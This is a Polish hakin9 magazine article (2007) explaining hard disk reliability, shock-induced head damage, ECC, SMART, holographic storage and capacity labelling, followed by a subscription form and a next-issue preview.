Dysk – awarie

Niezawodność współczesnych dys-
ków twardych wyraża się obecnie
średnim czasem międzyuszkodze-
niowym rzędu miliona godzin. Z po-
zoru wydaje się to bardzo wiele, ale,
gdy się bliżej przyjrzeć, bezpieczeń-
stwo danych na dysku twardym jest
co najmniej iluzoryczne. Milion go-
dzin to przeszło 114 lat. Współ-
czynnik MTBF (Mean Time Betwe-
en Failures) wynoszący milion go-
dzin oznacza nie tylko, że dysk po-
winien pracować bezawaryjnie przez
tyle czasu – w uproszczeniu oznacza
to, że spośród 1000 dysków w ciągu
bieżącego roku przeszło 8 ma pra-
wo ulec awarii! A jeśli nawet założy-
my, że dyski pracują zaledwie po 8
godzin dziennie, to i tak wśród tysią-
ca dysków musimy się liczyć z blisko
trzema awariami w ciągu roku.

Awarie dysku mają różny charak-

ter. Może to być uszkodzenie ukła-
dów zapisu i odczytu – w tym zło-
żonej elektroniki dysku, awaria ukła-
du napędowego czy układu pozycjo-
nowania głowic, a wreszcie, co jest
najczęściej spotykane, mechanicz-
ne uszkodzenie nośnika magnetycz-
nego na powierzchni któregoś z ta-
lerzy. Wszystkie dzieła ludzkiego ge-
niuszu mają ograniczoną niezawod-
ność. Zastanawia jednak fakt – w
jaki sposób powstają mechaniczne
uszkodzenia powierzchni dysku, je-
śli głowice nie dotykają bezpośred-
nio tych powierzchni?

Mimo relatywnie dużych rozmia-

rów, dyski twarde stanowią arcydzie-
ła mechaniki precyzyjnej. Przy typo-
wej gęstości zapisu, szerokość poje-
dynczej ścieżki zapisu wynosi zale-
dwie ok. 0,01 mm. Szerokość głowi-
cy odczytującej, wykonanej jako ele-
ment magnetorezystywny, wynosi
ok. 80% szerokości ścieżki – to od-
powiada ostrzu nieco tylko stępionej
żyletki! Każde dotknięcie powierzch-
ni dysku przez głowicę odpowiada
dotknięciu takim właśnie ostrzem.
Warstwa nośnika magnetycznego
na powierzchniach talerzy dysków

pokryta jest bardzo cienką warstwą
lakieru ochronnego. W normalnych
warunkach eksploatacji twardość
powierzchni ochronnej najzupełniej
wystarcza – start i lądowanie gło-
wic wiążą się co prawda z przesuwa-
niem ich po powierzchni talerza, ale
występujące naciski są za małe, by
zarysować powierzchnię ochronną.
Podczas pracy dysku głowice prze-
suwają się nad powierzchnią talerzy
na poduszce powietrznej o wysoko-
ści kilkunastu mikrometrów, wytwa-
rzanej dzięki ruchowi talerzy, a do-
puszczalne nierówności powierzchni
nie przekraczają 10% wysokości lo-
tu głowicy. W takich warunkach no-
śnik dysku nie ma prawa ulec uszko-
dzeniu.

Panuje powszechne przekona-

nie, że dysk, w czasie, gdy pracuje,
jest odporny na wstrząsy i uderzenia.
Tymczasem, co może być zaskaku-
jące, źródłem większości uszko-
dzeń powierzchni roboczych dys-
ku są właśnie wstrząsy i uderzenia,
których napęd doznał w stanie spo-
czynku. W stanie spoczynku głowice
leżą na wydzielonych obszarach po-
wierzchni talerzy, zwanych strefą lą-
dowania (landing zone), przyciśnię-
te do powierzchni przez odpowied-
ni układ sprężysty ramienia głowi-
cy. Cóż się stanie, jeśli taki zapar-
kowany dysk dozna silnego, krótko-
trwałego wstrząsu? Głowica ode-
rwie się od powierzchni, wyginając
sprężyste ramię, a następnie, w wy-
niku jego drgań, kilkakrotnie uderzy
w powierzchnię, za każdym razem
odbijając się od niej. Zwracam uwa-
gę na fakt, że głowica w takiej sytu-
acji nie uderza swoją powierzchnią,
ale krawędzią! Twarda powierzchnia
ochronna jest, niestety, zbyt krucha,
by mogła to przy silniejszych wstrzą-
sach wytrzymać – uderzająca gło-
wica odłupuje drobne fragmenty
ochronnego lakieru.

Wydawać by się mogło, że nawet

ewentualne uszkodzenie powierzchni
w strefie lądowania nie powinno spo-
wodować obniżenia sprawności dys-
ku – przecież w tym obszarze nie ma
żadnych danych. Rzeczywiście, ale
powstałe tam drobne okruchy ma-
teriału przemieszczają się, wraz z

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

powietrzem, po całym wnętrzu na-
pędu. Są drobne, ale i tak wielokrot-
nie większe od grubości poduszki
powietrznej, unoszącej głowicę. Je-
śli któryś z nich dostanie się pomię-
dzy głowicę, a powierzchnię wirują-
cego talerza, następują kolejne drga-
nia głowicy i jej ramienia oraz kolejne
uderzenia głowicy – tym razem już w
roboczą powierzchnię dysku! Oprócz
uszkodzeń powierzchni, na tyle drob-
nych, że układy korekcji błędów wbu-
dowane w elektronikę dysku, poradzą
sobie z powodowanymi przez nie błę-
dami, powstają jeszcze nowe okruchy.
Im jest ich więcej, tym częściej zda-
rza im się wpadnięcie pod głowicę i
tym częściej powstają nowe uszko-
dzenia i nowe drobiny. Proces degra-
dacji wartości użytkowej dysku postę-
puje lawinowo, tym bardziej, że przy
uszkodzonej powierzchni strefy lądo-
wania przy każdym starcie i lądowa-
niu głowicy mogą powstawać kolejne
uszkodzenia.

Na jakiego rodzaju wstrzą-

sy narażony jest dysk od momen-
tu opuszczenia taśmy produkcyjnej,
do chwili, kiedy trafi do komputera?
Co mu grozi po drodze, a czym mo-
żemy mu zaszkodzić sami? Odpo-
wiedzi na te pytania może w pew-
nym stopniu dostarczyć zamiesz-
czony rysunek – wynika z niego, że
dysk zamontowany w komputerze
jest względnie bezpieczny, nawet
upuszczenie komputera na twarde
podłoże nie powinno spowodować
poważniejszych szkód.

Dużym zagrożeniem dla dys-

ku jest również sam proces monta-
żu komputera. W tej fazie łatwo na-
bawić się kłopotów na przyszłość. O
uderzenie metalowym narzędziem
wcale nietrudno – wystarczy ob-
sunięcie ręki, uderzenie dyskiem o
konstrukcję obudowy też może się
zdarzyć. A jeśli ktoś ma pecha, to
i o upadek dysku na twarde podłoże
wcale nietrudno. Wszystkie te gwał-
towne zdarzenia dysk znosi pozor-
nie bez szwanku – po zmontowaniu
komputera działa poprawnie i nic nie
wskazuje na to, by cokolwiek mu do-
legało.

Uszkodzenia, których źródłem

są wstrząsy, jakich doznał dysk w
czasie między wyprodukowaniem
a zamontowaniem w komputerze,
stanowią według danych producen-
tów przyczynę około 40% wszyst-
kich awarii dysków twardych i prze-
szło 90% uszkodzeń powierzch-
ni dysków. Lekarstwem na to stały
się pewne zmiany w konstrukcji dys-
ków, zmierzające do ograniczenia
tego typu uszkodzeń. Zmiany te w
większości przypadków sprowadza-
ją się do odpowiednich rozwiązań
konstrukcyjnych – najważniejsze
jest tu wyeliminowanie drgań gło-
wicy i jej wielokrotnego uderzania o
powierzchnię po wstrząsie. Tego ro-
dzaju rozwiązaniem jest, stosowany
przez firmę Quantum, SPS (Shock

Protection System). Również in-
ni producenci od pewnego czasu
zwracają uwagę na bezpieczeń-
stwo dysku w czasie między opusz-
czeniem taśmy produkcyjnej a zain-
stalowaniem w komputerze, stosu-
jąc własne rozwiązania, jak np. Se-

aShield Seagate.

Obecnie stosuje się narzędzia,

które sprawdzają stan dysku. Waż-
ną ich cechą jest zdolność do wyko-
rzystywania w celach diagnostycz-
nych specjalnych procedur, wbudo-
wanych w oprogramowanie napę-
dów. Przy bardzo skutecznych me-
chanizmach korekcji błędów, jakie
są stosowane w układach odczy-
tu, drobniejsze uszkodzenia pozo-
stawałyby niezauważone – dopiero
uszkodzenie uniemożliwiające po-
prawny odczyt mogłoby zostać za-

rejestrowane. Należy zwrócić uwa-
gę na fakt, że eliminowanie wadli-
wych sektorów nie usuwa przyczyn
ich uszkodzenia – jeśli wewnątrz
obudowy znalazły się luźne okru-
chy z uszkodzonych powierzchni, to
proces niszczenia będzie postępo-
wał. Dlatego większość wspomnia-
nych systemów stosuje statystycz-
ną ocenę liczby wykrytych mikrode-
fektów, umożliwiającą, przy regular-
nym stosowaniu programu testują-
cego, dość efektywną ocenę aktual-
nego stanu dysku i jego perspektyw
na przyszłość.

Samonaprawiające się

dyski

Każda usterka sprzętu, którego uży-
wamy, wywołuje u nas marzenia o
urządzeniach, które powiadamiały-
by nas o tym, że wystąpiła awaria,
a jeszcze lepiej – same się napra-
wiały. Nawet nie wiemy, że to już nie
marzenia, ale rzeczywistość, przy-
najmniej jeżeli chodzi o dyski twar-
de. Najnowsze osiągnięcia w dzie-
dzinie technologii dysków twardych
sprawiają, że napędy dyskowe uzy-
skują zdolność nie tylko do monitoro-
wania własnej sprawności, lecz tak-
że samonaprawiania się w przypad-
ku typowych usterek.

Algorytm ECC

W dysku twardym dane cyfrowe są
zapisywane na talerzu magnetycz-
nym, a potem odczytywane, zasad-
niczo w postaci analogowej. Podob-
nie jak przy każdym nośniku analo-
gowym, danym zapisanym na dysku
towarzyszą szumy tła, a sam nośnik
jest podatny na uszkodzenia fizycz-
ne. Rozpoznanie faktu, że dane zo-
stały uszkodzone oraz podjęcie ja-
kichkolwiek działań naprawczych
jest możliwe dzięki temu, że z zasa-
dy do zapisywanej informacji doda-
je się pewną informację dodatkową,
która jest uzależniona od zawartości
informacji oryginalnej.

W dyskach twardych stosuje się

zaawansowane metody obliczania i
kodowania sum kontrolnych, okre-
ślane jako ECC (Error Correcting

Codes – kody korygujące błędy).
Chociaż teoria z tym związana jest

Rysunek 4.

Kluczowe obszary

dysku

MBR

Boot sektor pierwszej partycji

Partycja pierwsza

Boot sektor drugiej partycji

Partycja druga

Dyski Twarde

ogromnie skomplikowana, w prakty-
ce wyznaczenie kodu korekcyjnego
dla danych można w miarę prosto
zrealizować za pomocą sprzętu lub
oprogramowania. Dzięki dobremu
algorytmowi ECC możliwe jest nie
tylko wykrywanie błędów, lecz tak-
że odtworzenie uszkodzonej infor-
macji. Obliczanie kodu korekcyjne-
go wchodzi w skład procesu odzy-
skiwania danych, w którym ponad-
to stosuje się takie techniki, jak wie-
lokrotny odczyt przy kolejnych obro-
tach talerza z drobnymi zmianami
parametrów odczytu, co daje róż-
ne kąty widzenia uszkodzonych da-
nych. Wszystkie te sztuczki pozwa-
lają na odczytanie danych z sekto-
ra, który nie nadaje się do dalsze-
go użytku.

Sektory na zapas

Dyski twarde zawierają pewną licz-
bę zapasowych sektorów, które nie
są bezpośrednio dostępne dla użyt-
kownika, lecz służą do zastępowa-
nia wadliwych sektorów wykrytych
na dysku. Gdy jeden z zapasowych
sektorów zostanie zablokowany w
zastępstwie sektora uszkodzone-
go, z punktu widzenia użytkownika
dysku wygląda to tak, jakby uszko-
dzenie zostało naprawione. Jeżeli

wszystkie uszkodzone sektory są
odwzorowywane na dobrych sekto-
rach zapasowych, to dysk z punktu
widzenia użytkownika jest całkowi-
cie sprawny. Alokacja zapasowych
sektorów może odbywać się z wy-
przedzeniem, w miarę zużywania
się dysku.

Metoda ta polega na tym, że

podczas odczytu bloku danych układ
elektroniczny, odpowiedzialny za
ECC, dokonuje inteligentnej analizy
jakości sektora. W niektórych przy-
padkach dane zostają zapisane nie-
prawidłowo – na przykład wskutek
mechanicznego wstrząsu napędu
podczas zapisu – i wówczas całko-
wita naprawa sprowadza się jedynie
do ponownego zapisu tych samych
danych. Jeżeli jednak analiza po-
dejrzanego sektora wykazuje, że nie
zapewnia on należytej niezawodno-
ści, wówczas układ sterowania na-
pędu może podjąć decyzję wykorzy-
stania sektora zapasowego i zapisa-
nia w nim odzyskanych danych.

SMART – przewidzieć

awarię dysku

SMART oznacza Self Monitoring

And Reporting Technology (techno-
logia samoczynnego monitorowania
i powiadamiania). Jest to uporząd-

kowana metoda wykonywania przez
napęd dyskowy analiz statystycz-
nych własnego funkcjonowania, do-
konywania na tej podstawie inteli-
gentnych przewidywań co do zbliża-
jących się awarii oraz powiadamia-
nia o tym użytkownika.

Rysunek 5.

Uderzenia głowicy o

nośnik

Uderzenie głowicy o nośnik

"Podskok" głowicy ...

... i co z tego wynikło!

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

SMART wykorzystuje nadmiaro-

wą moc obliczeniową procesora na-
pędu dyskowego i prowadzi analizę
rozmaitych parametrów operacyj-
nych, takich jak stopa błędów, licz-
ba powtórzeń, częstość realokacji
uszkodzonych sektorów, cykle startu
– stopu itd. Informacja ta jest zbiera-
na i poddawana obróbce statystycz-
nej na podstawie znanych charakte-
rystyk operacyjnych sprawnego dys-
ku. W ten sposób uzyskuje się możli-
wość ostrzeżenia z wyprzedzeniem,
że zbliża się awaria dysku.

Chociaż obecnie nie ma sposo-

bu, by technologia SMART pozwo-
liła przewidzieć nagłą awarię do-
tychczas zupełnie sprawnego dysku,
to jednak zapewnia ona skuteczne
ostrzeganie o zbliżającej się awarii w
około 30 do 40 procentach przypad-
ków. Aby można było skorzystać z
technologii SMART, w systemie mu-
si zostać zainstalowany odpowiedni
agent (program obsługi).

Odzyskiwanie danych w nowocze-

snych napędach dyskowych jest bar-
dzo sprawne – napęd zasygnalizuje
błąd odczytu dopiero po wyczerpaniu
daleko idących środków zaradczych.
Możliwość alokacji zapasowych, do-
brych sektorów na miejsce uszkodzo-
nych oznacza, że usterki – które w in-
nym wypadku byłyby klasyfikowane
jako awarie dysku – mogą być aktyw-
nie kontrolowane, dzięki czemu wy-
dłuża się użyteczny czas eksploatacji
urządzenia. SMART zapewnia pro-
gnozowanie możliwych awarii dysku,
dzięki czemu dane z dysku o pogar-
szającej się jakości mogą być zapisa-
ne w kopii zapasowej, a dysk wymie-
niony, zanim dojdzie do katastrofalnej
utraty danych.

Wszystkie te mechanizmy opie-

rają się jednak na zdolności napędu
do właściwego reagowania na uster-
ki przez korekcję błędów, realokację
sektorów oraz analizę i rejestrowanie
wyników. Działania takie mogą doty-
czyć tylko tych części dysku, które
są użytkowane, a wskutek tego stan
znacznej części powierzchni dysku
może przez długi czas być nieznany,
a wtedy błędy skądinąd możliwe do
naprawienia stopniowo stają się co-
raz poważniejsze, zaś analizy staty-

styczne prowadzone przez SMART
zostają zafałszowane.

Nowoczesna

technologia

Ciągle jeszcze w każdym kompute-
rze PC znaleźć można stację dys-
kietek. Ich zawrotna jak na dzisiej-
sze czasy pojemność (1,44 MB) jest
już prawie całkowicie niewystarcza-
jąca. Mimo że producenci zasypu-
ją użytkowników coraz to nowszy-
mi rozwiązaniami, to ciągle jesteśmy
skazani na używanie owego reliktu
przeszłości jakim jest poczciwa sta-
cja dyskietek.

Wydawałoby się, że rozwiąza-

niem tych kłopotów są dyski twarde.
Lecz prawda przedstawia się zgoła
odmiennie. Producenci już dzisiaj nie-
bezpiecznie szybko zbliżają się do fi-
zycznej granicy pojemności. W miarę
jej wzrostu przy niezmiennej w zasa-
dzie powierzchni zapisu maleje trwa-
łość zapisu magnetycznego. Powodu-
je to, że wyprodukowanie trwałego, i
co ważniejsze, pojemnego nośnika
danych staje się coraz droższe.

Sposób dziania pamięci

holograficznej

Uzyskanie olbrzymiej pojemności
wymaga zastosowania zupełnie in-
nej techniki – holografii. Pomysł ten
zrodził się już w roku 1963, gdy je-
den z pracowników firmy Polaro-
id – Pieter J. van Heerden zapropo-
nował trójwymiarowy zapis danych.
W chwili obecnej żadna z technolo-
gii oferujących pojemności rzędu se-
tek GB i czas dostępu do dowolnego
obszaru w granicach 100 (mikro)se-
kund nie jest tak bliska wejścia na ry-
nek, jak właśnie holografia.

Najistotniejszymi

elementami

układu zapisująco/odczytującego są
dwie wiązki laserowe padające na
nośnik pamięciowy, jakim jest krysz-
tał niobianu litu (domieszkowany ato-
mami żelaza). Jedna z nich – węż-
sza – to tzw. wiązka sygnałowa. Za-
wiera ona dane, jakie mają być za-
chowane w krysztale. Wiązka druga
– zwana referencyjną odpowiada za
miejsce w krysztale, w którym dane
przesyłane wiązką sygnałową mają
być zachowane.

Warto wiedzieć, że w tego ty-

pu pamięciach nie istnieje pojęcie
ścieżki danych. Pamięci hologra-
ficzne operują całymi stronami da-
nych. Można sobie wyobrazić, że ta-
ki kryształek pokroimy na plasterki o
grubości rzędu 100 (mikro)metrów
każdy. Taki plasterek to właśnie stro-
na danych przesyłanych przez wiąz-
kę sygnałową. Zapis stronicowy da-
je olbrzymią korzyść – dużo szyb-
szy czas dostępu do danych, któ-
re są odczytywane analogicznie do
zapisu (całymi stronami) dzięki od-
powiedniemu pozycjonowaniu wiąz-
ki referencyjnej.

Nośniki holograficzne

Najpopularniejszym, a raczej naj-
powszechniej stosowanym w labora-
toriach nośnikiem danych był wspo-
mniany już kryształ niobianu litu. Nie
jest to jednak jedyna możliwa sub-
stancja pozwalająca na holograficz-
ny zapis i odczyt danych. W 1994 fir-
ma DuPont wypuściła na rynek fo-
topolimer o obiecujących możliwo-
ściach. Najważniejszą innowacją, ja-
ką wnosił nowy materiał był fakt, że
ów fotopolimer pod wpływem świa-
tła nie ulegał zmianom fotorefrak-
cyjnym (co ma miejsce w przypad-
ku wzmiankowanego już kryształu)
lecz przemianie chemicznej. Różni-
ca polega na tym, że w przypadku
fotorefrakcji, w krysztale dane są za-
pisywane poprzez odpowiednie roz-
dzielenie ładunków elektrycznych w
strukturze kryształu, daje to możli-
wość ich późniejszej neutralizacji (co
oznacza skasowanie zapisu). Nato-
miast naświetlanie (zapis danych)
fotopolimeru wywoływało nieod-
wracalną reakcję fotochemiczną, co
oznacza, że materiał ten nadaje się
wyłącznie do tworzenia pamięci sta-
łych (ROM).

Olbrzymie pojemności

Warto zapoznać się też z niektóry-
mi wynikami osiągniętymi przez na-
ukowców w dziedzinie pamięci ho-
lograficznych. Np. w 1995 roku nie-
jaki Pu z California Institute of Tech-
nology uzyskał gęstość zapisu 10 bi-
tów na 1 (mikro)m^2(kwadratowy)
dla dysku o powierzchni zwykłego

krążka CD, lecz o grubości zaledwie 100 (mikro)m. Jeże-
li zwiększy się grubość materiału holograficznego np. do
ok. 1 mm, to gęstość zapisu powinna osiągnąć wartość
100 bitów/mikrometr kwadratowy. Taki dysk holograficz-
ny byłby identyczny rozmiarami z dzisiejszymi CD, lecz
oferowałby pojemność rzędu 65 GB.

Kolejnym, nie mniej spektakularnym, osiągnięciem

są rezultaty prac naukowców wydziału fizyki University
of Oregon. Udało im się zaobserwować w krysztale o na-
zwie Tm^3+:YAG następujące wyniki: podczas zapisywa-
nia 1760-bitowej sekwencji z szybkością 20 Mbit/s osią-
gnięto gęstość około 8 Gbit/cal kwadratowy zaś transfer
danych z zapisanego już nośnika określono na poziomie
1 Gbit/s. Tak olbrzymie wartości osiągnięto jednak w da-
lekich od domowych warunkach (niskie temperatury, spe-
cjalne soczewki itp.)

Zastosowania

Firma Holoplex skonstruowała szybki układ pamięcio-
wy przechowujący wzory linii papilarnych, stosowany we
wszelkiego rodzaju systemach wymagających selektyw-
nego dostępu. Co prawda pojemność tego układu jest
mniejsza o połowę od zwykłej płyty CD, lecz całą pa-
mięć można odczytać w ciągu jednej sekundy. Warto też
wiedzieć, że użycie układów holograficznych pozwoli na
szersze wykorzystanie kojarzeniowej natury zapisu holo-
graficznego. Czy będziemy więc świadkami rewolucji na
wielką skalę? Raczej nie – z przyczyn ekonomicznych,
lecz bez względu na sytuację można się pocieszyć tym,
że pamięci nie zginą, ich przyszłość to holografia.

Podsumowanie

Przeglądając oferty lub informacje dystrybutorów i pro-
ducentów dysków twardych niejednokrotnie dokonuje-
my wyboru na podstawie parametrów, jakie przedsta-
wia dana specyfikacja. Tymczasem w przypadku pojem-
ności informacja podawana na ulotce nie do końca musi
odpowiadać temu, co zobaczymy po sformatowaniu dys-
ku w naszym komputerze. Po pierwsze, dość często spo-
tykanym wybiegiem marketingowym jest podawanie po-
jemności danego dysku w mega- lub w gigabajtach, z za-
strzeżeniem, że 1 MB to 1 000 000 bajtów, a 1 GB to 1
000 000 000 bajtów. Tymczasem stan faktyczny jest inny
– 1 kB równy jest 1024 bajtom, a nie 1000 bajtom. Różni-
ca nie jest co prawda wielka, ale przy olbrzymich pojem-
nościach dzisiejszych dysków te zaokrąglenia powodują,
że różnica pomiędzy informacją producenta a wynikiem
formatowania dysku w komputerze może okazać się za-
skakująca dla nieświadomego takiej polityki użytkownika.
Przykładowo dla dysku o pojemności (przy przeliczniku
1 kB=1000 B) 18 042 MB otrzymamy, że dysk dysponu-
je faktyczną pojemnością ok. 17206,20 MB. Jak więc wi-
dać różnica sięga ponad 800 MB, co jeszcze nie tak daw-
no stanowiło całkowitą pojemność dysku twardego! Dla-
tego też dokonując wyboru musimy pamiętać o tym, w ja-
ki sposób megabajty czy gigabajty są podawane w infor-
macjach producenta. l

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

Cena prenumeraty rocznej dla osób prywatnych

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

250/180

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

150/135

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

199/179

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

232/198

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

199

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

119

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku kwietnia 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

4/2007

w następnym numerze

między innymi:

Zapowiedzi

GLOBAL HOOKS-ZAGROŻENIA

I POTENCJALNE MOŻLIWOŚCI

W artykule zawarte będą informacje jak za pomocą global hooks przechwy-
tywać wszystkie zdarzenia związane z klawiaturą, co jest najprostszym spo-
sobem wykradania haseł. Ukazane będzie global hooks w programowaniu
np. poprzez utworzenie nowego ogólnego skrótu klawiatury zmieniającego
ustawienia okna aplikacji na (“zawsze na wierzchu”). Autor skupi się także
na generowaniu prawdziwych liczb losowych, co jest zagadnieniem bardzo
ciekawym z punktu widzenia kryptografii.

Z NOTATNIKA BEZPIECZNIKA

O wyższości Świąt Bożego Narodzenia nad Świętami Wielkiej Nocy- temat
tajniki budowy dobrej Polityki Bezpieczeństwa Informacji, który jest formą
wprowadzenia do głównego tematu jakim będzie audyt bezpieczeństwa
informacji dla opornych czyli jak zapewnić przydatność wyników badania.

ANALIZA RYZYKA JAKO DROGA WYJŚCIO-

WA DO SPRAWNEGO SYSTEMU ZARZĄDZANIA

BEZPIECZEŃSTWEM INFORMACJI

Analiza ryzyka jest fundamentem wdrażania systemu zarządzania bezpie-
czeństwem informacji. Na podstawie jej wyników określa się jakie obszary,
informacje, aktywa, ludzie są dla firmy najważniejsze i jakie należy zastoso-
wać procedury, technologię do zminimalizowania ryzyka bezpieczeństwa z
nimi związanymi. Przeprowadzenie analizy ryzyka jest niezbędne i odbywa
się z najwyższym kierownictwem. Wyróżnia się cztery pozycje związane z
ryzykiem i na podstawie wyników określa się również kiedy dane zabezpie-
czenia (i jakie) musza być wdrożone i monitorowane.

NA CD:
• hakin9.live-bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.

Atak

Obrona

Atak

Wyszukiwarka

Podobne podstrony:
Hakin9 23 (03 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 25 (05 2007) PL
Hakin9 29 (09 2007) PL
Hakin9 35 (03 2008) PL
Hakin9 26 (06 2007) PL
Hakin9 21 (01 2007) PL
Hakin9 28 (08 2007) PL
droga krzyżowa 23.03.2007, Drogi Krzyżowe
Hakin9 30 (10 2007) PL
08 Metafory w naszym życiu - Lakoff i Johnson - 23.03.2007, Filologia polska UWr, semestr 1 & 2, poe
Hakin9 27 (07 2007) PL
Hakin9 24 (04 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 26 (06 2007) PL

więcej podobnych podstron